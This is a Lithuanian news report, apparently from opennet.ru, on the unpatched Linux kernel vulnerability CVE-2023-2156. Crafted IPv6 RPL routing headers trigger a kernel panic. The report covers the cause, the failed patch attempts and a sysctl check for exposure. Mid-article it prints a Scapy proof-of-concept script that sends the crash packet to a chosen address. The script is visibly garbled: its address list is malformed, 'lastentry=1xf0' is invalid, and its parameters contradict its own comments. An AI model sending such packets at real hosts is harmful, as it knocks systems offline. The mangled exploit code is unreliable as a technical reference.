Atskleista informacija apie nepataisytą (0 dienų) pažeidžiamumą (CVE-2023-2156) Linux branduolyje, leidžiantį sustabdyti sistemą siunčiant specialiai sukurtus IPv6 paketus (packet-of-death). Problema iškyla tik tada, kai įjungtas RPL (Routing Protocol for Low-Power and Lossy Networks) protokolo palaikymas, kuris pagal numatytuosius nustatymus yra išjungtas paskirstymuose ir dažniausiai naudojamas įterptiniuose įrenginiuose, veikiančiuose belaidžiuose tinkluose su dideliu paketų praradimu.
Pažeidžiamumą sukelia neteisingas išorinių duomenų apdorojimas RPL protokolo analizavimo kode, dėl kurio sugenda tvirtinimas ir branduolys pereina į panikos būseną. Dedant duomenis, gautus analizuojant IPv6 RPL paketo antraštę, į k_buff (Socket Buffer) struktūrą, jei CmprI laukas nustatytas į 15, laukas Segleft į 1 ir CmprE į 0, 48 baitų vektorius su adresais yra išspaustas. iki 528 baitų ir atsiranda situacija, kai buferiui skirtos atminties nepakanka. Šiuo atveju funkcija skb_push, naudojama duomenims perkelti į struktūrą, patikrina, ar duomenų dydis ir buferis yra nesuderinami, sukuriant panikos būseną, kad būtų išvengta įrašymo už buferio ribos.
Išnaudojimo pavyzdys: # Naudosime Scapy, kad sukurtume paketą iš scapy.all import * import socket # Naudokite IPv6 iš savo LAN sąsajos DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Paketui siųsti naudojame lizdus sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Sukurkite paketą # Tipas = 3 daro tai RPL paketu # Adresuose yra 3 adresai, bet kadangi CmprI yra 15, # kiekvienas pirmųjų dviejų adresų oktetas yra traktuojamas kaip suspaustas adresas # Segleft = 1, kad suaktyvintų stiprinimą # lastentry = 0xf0 nustato CmprI į 15, o CmprE - į 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(type=3, addresses) :", "a8::", "a7::"], segleft=6, lastentry=1xf0) # Siųsti šį blogą paketą sockfd.sendto(bytes(p), (DST_ADDR, 0))
Pažymėtina, kad branduolio kūrėjams apie pažeidžiamumą buvo pranešta dar 2022 m. sausio mėn. ir per pastaruosius 15 mėnesių jie bandė išspręsti problemą tris kartus, išleisdami pataisas 2022 m. rugsėjį, 2022 m. spalį ir 2023 m. balandį, tačiau kiekvieną kartą buvo pataisymai nepakanka ir pažeidžiamumo nepavyko atkurti. Galiausiai ZDI projektas, koordinavęs pažeidžiamumo taisymo darbus, nusprendė paskelbti išsamią informaciją apie pažeidžiamumą nelaukdamas, kol branduolyje bus pasiekiamas veikiantis pataisymas.
Taigi pažeidžiamumas vis dar lieka nepataisytas. Visų pirma, pataisa, įtraukta į 6.4-rc2 branduolį, yra neveiksminga. Vartotojams patariama patikrinti, ar jų sistemose nenaudojamas RPL protokolas, o tai galima padaryti naudojant komandą sysctl -a | grep -i rpl_seg_enabled
Šaltinis: opennet.ru
